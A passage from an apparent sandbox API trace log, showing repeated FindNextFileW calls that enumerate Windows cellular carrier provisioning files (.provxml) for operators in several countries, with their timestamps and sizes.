cAlternateFileName="108__C~1.PRO")) returned 1 [0272.960] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9048435b, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9048435b, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9048435b, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="109__Connections_Cellular_Etisalat Misr (Egypt)_i0$(__MVID)@WAP.provxml", cAlternateFileName="109__C~1.PRO")) returned 1 [0272.960] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90116bb1, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90116bb1, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90116bb1, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="10__Connections_Cellular_Optus (Australia)_i1$(__MVID)@WAP.provxml", cAlternateFileName="10__CO~1.PRO")) returned 1 [0272.960] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9048435b, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9048435b, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9048435b, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="110__Connections_Cellular_Claro (El Salvador)_i0$(__MVID)@WAP.provxml", cAlternateFileName="110__C~1.PRO")) returned 1 [0272.960] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9048435b, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9048435b, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9048435b, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x290, dwReserved0=0x0, dwReserved1=0x0, cFileName="111__Connections_Cellular_Claro (El Salvador)_i1$(__MVID)@WAP.provxml", cAlternateFileName="111__C~1.PRO")) returned 1 [0272.960] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x904aa5c6, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x904aa5c6, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x904aa5c6, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2db, dwReserved0=0x0, dwReserved1=0x0, cFileName="112__Connections_Cellular_Telefonica (El Salvador)_i0$(__MVID)@WAP.provxml", cAlternateFileName="112__C~1.PRO")) returned 1 [0272.960] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x904aa5c6, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x904aa5c6, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x904aa5c6, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="113__Connections_Cellular_TIGO (El Salvador)_i0$(__MVID)@WAP.provxml", cAlternateFileName="113__C~1.PRO")) returned 1 [0272.960] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x904aa5c6, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x904aa5c6, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x904aa5c6, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x28c, dwReserved0=0x0, dwReserved1=0x0, cFileName="114__Connections_Cellular_TIGO (El Salvador)_i1$(__MVID)@WAP.provxml", cAlternateFileName="114__C~1.PRO")) returned 1 [0272.961] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x904aa5c6, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x904aa5c6, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x904aa5c6, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="115__Connections_Cellular_Elisa Estonia (Estonia)_i0$(__MVID)@WAP.provxml", cAlternateFileName="115__C~1.PRO")) returned 1 [0272.966] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x904d0836, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x904d0836, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x904d0836, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x286, dwReserved0=0x0, dwReserved1=0x0, cFileName="116__Connections_Cellular_EMT (Estonia)_i0$(__MVID)@WAP.provxml", cAlternateFileName="116__C~1.PRO")) returned 1 [0272.966] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x904d0836, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x904d0836, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x904d0836, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="117__Connections_Cellular_EMT (Estonia)_i1$(__MVID)@WAP.provxml", cAlternateFileName="117__C~1.PRO")) returned 1 [0272.966] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x904d0836, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x904d0836, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x904d0836, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x290, dwReserved0=0x0, dwReserved1=0x0, cFileName="118__Connections_Cellular_Tele2 (Estonia)_i0$(__MVID)@WAP.provxml", cAlternateFileName="118__C~1.PRO")) returned 1 [0272.966] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x904d0836, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x904d0836, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x904d0836, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x286, dwReserved0=0x0, dwReserved1=0x0, cFileName="119__Connections_Cellular_Tele2 (Estonia)_i1$(__MVID)@WAP.provxml", cAlternateFileName="119__C~1.PRO")) returned 1 [0272.966] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9013ce1d, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9013ce1d, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9013ce1d, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="11__Connections_Cellular_Optus (Australia)_i2$(__MVID)@WAP.provxml", cAlternateFileName="11__CO~1.PRO")) returned 1 [0272.966] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x904f6aa1, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x904f6aa1, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x904f6aa1, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="120__Connections_Cellular_Vodafone FO (Faroe Islands)_i0$(__MVID)@WAP.provxml", cAlternateFileName="120__C~1.PRO")) returned 1 [0272.966] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x904f6aa1, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x904f6aa1, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x904f6aa1, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="121__Connections_Cellular_Kidanet (Fiji)_i0$(__MVID)@WAP.provxml", cAlternateFileName="121__C~1.PRO")) returned 1 [0272.966] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x904f6aa1, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x904f6aa1, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x904f6aa1, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="122__Connections_Cellular_Vodafone Fiji (Fiji)_i0$(__MVID)@WAP.provxml", cAlternateFileName="122__C~1.PRO")) returned 1 [0272.966] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x904f6aa1, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x904f6aa1, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x904f6aa1, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2de, dwReserved0=0x0, dwReserved1=0x0, cFileName="123__Connections_Cellular_Vodafone Fiji (Fiji)_i1$(__MVID)@WAP.provxml", cAlternateFileName="123__C~1.PRO")) returned 1 [0272.967] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x904f6aa1, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x904f6aa1, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x904f6aa1, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="124__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="124__C~1.PRO")) returned 1 [0272.967] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9051cd0d, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9051cd0d, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9051cd0d, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="125__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i0$(__MVID)@WAP.provxml", cAlternateFileName="125__C~1.PRO")) returned 1 [0272.967] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9051cd0d, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9051cd0d, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9051cd0d, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x29c, dwReserved0=0x0, dwReserved1=0x0, cFileName="126__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i1$(__MVID)@WAP.provxml", cAlternateFileName="126__C~1.PRO")) returned 1 [0272.967] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9051cd0d, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9051cd0d, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9051cd0d, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x27f, dwReserved0=0x0, dwReserved1=0x0, cFileName="127__Connections_Cellular_DNA (Finland)_i0$(__MVID)@WAP.provxml", cAlternateFileName="127__C~1.PRO")) returned 1 [0272.967] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9051cd0d, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9051cd0d, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9051cd0d, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="128__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="128__C~1.PRO")) returned 1 [0272.967] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9051cd0d, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9051cd0d, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9051cd0d, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="129__Connections_Cellular_Elisa (Finland)_i0$(__MVID)@WAP.provxml", cAlternateFileName="129__C~1.PRO")) returned 1 [0272.967] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9013ce1d, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9013ce1d, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9013ce1d, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="12__Connections_Cellular_Optus (Australia)_i3$(__MVID)@WAP.provxml", cAlternateFileName="12__CO~1.PRO")) returned 1 [0272.967] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9051cd0d, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9051cd0d, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9051cd0d, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="130__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="130__C~1.PRO")) returned 1 [0272.971] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90542f74, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90542f74, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90542f74, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x29d, dwReserved0=0x0, dwReserved1=0x0, cFileName="131__Connections_Cellular_Go Communication Ltd. (Finland)_i0$(__MVID)@WAP.provxml", cAlternateFileName="131__C~1.PRO")) returned 1 [0272.971] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90542f74, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90542f74, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90542f74, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x299, dwReserved0=0x0, dwReserved1=0x0, cFileName="132__Connections_Cellular_Go Communication Ltd. (Finland)_i1$(__MVID)@WAP.provxml", cAlternateFileName="132__C~1.PRO")) returned 1 [0272.971] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90542f74, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90542f74, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90542f74, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x294, dwReserved0=0x0, dwReserved1=0x0, cFileName="133__Connections_Cellular_TDC Song Finland (Finland)_i0$(__MVID)@WAP.provxml", cAlternateFileName="133__C~1.PRO")) returned 1 [0272.971] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90542f74, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90542f74, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90542f74, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x282, dwReserved0=0x0, dwReserved1=0x0, cFileName="134__Connections_Cellular_Sonera (Finland)_i0$(__MVID)@WAP.provxml", cAlternateFileName="134__C~1.PRO")) returned 1 [0272.971] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x905691e4, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x905691e4, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x905691e4, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="135__Connections_Cellular_Bouygues (France)_i0$(__MVID)@WAP.provxml", cAlternateFileName="135__C~1.PRO")) returned 1 [0272.971] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x905691e4, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x905691e4, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x905691e4, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="136__Connections_Cellular_Bouygues (France)_i1$(__MVID)@WAP.provxml", cAlternateFileName="136__C~1.PRO")) returned 1 [0272.972] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x905691e4, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x905691e4, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x905691e4, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="137__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="137__C~1.PRO")) returned 1 [0272.972] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x905691e4, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x905691e4, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x905691e4, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="138__Connections_Cellular_Free Mobile (France)_i0$(__MVID)@WAP.provxml", cAlternateFileName="138__C~1.PRO")) returned 1 [0272.972] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9058f44f, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9058f44f, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9058f44f, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="139__Connections_Cellular_Orange (France)_i0$(__MVID)@WAP.provxml", cAlternateFileName="139__C~1.PRO")) returned 1 [0272.972] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9013ce1d, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9013ce1d, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9013ce1d, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="13__Connections_Cellular_Optus (Australia)_i4$(__MVID)@WAP.provxml", cAlternateFileName="13__CO~1.PRO")) returned 1 [0272.972] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9058f44f, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9058f44f, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9058f44f, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x34e, dwReserved0=0x0, dwReserved1=0x0, cFileName="140__Connections_Cellular_Orange (France)_i1$(__MVID)@WAP.provxml", cAlternateFileName="140__C~1.PRO")) returned 1 [0272.972] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9058f44f, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9058f44f, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9058f44f, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x356, dwReserved0=0x0, dwReserved1=0x0, cFileName="141__Connections_Cellular_Orange (France)_i2$(__MVID)@WAP.provxml", cAlternateFileName="141__C~1.PRO")) returned 1 [0272.972] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9058f44f, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9058f44f, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9058f44f, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x34a, dwReserved0=0x0, dwReserved1=0x0, cFileName="142__Connections_Cellular_Orange (France)_i3$(__MVID)@WAP.provxml", cAlternateFileName="142__C~1.PRO")) returned 1 [0272.972] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9058f44f, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9058f44f, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9058f44f, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x346, dwReserved0=0x0, dwReserved1=0x0, cFileName="143__Connections_Cellular_Orange (France)_i4$(__MVID)@WAP.provxml", cAlternateFileName="143__C~1.PRO")) returned 1 [0272.973] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x905b56bb, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x905b56bb, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x905b56bb, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x34f, dwReserved0=0x0, dwReserved1=0x0, cFileName="144__Connections_Cellular_Orange (France)_i5$(__MVID)@WAP.provxml", cAlternateFileName="144__C~1.PRO")) returned 1 [0272.973] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x905b56bb, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x905b56bb, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x905b56bb, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x34a, dwReserved0=0x0, dwReserved1=0x0, cFileName="145__Connections_Cellular_Orange (France)_i6$(__MVID)@WAP.provxml", cAlternateFileName="145__C~1.PRO")) returned 1 [0272.973] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, 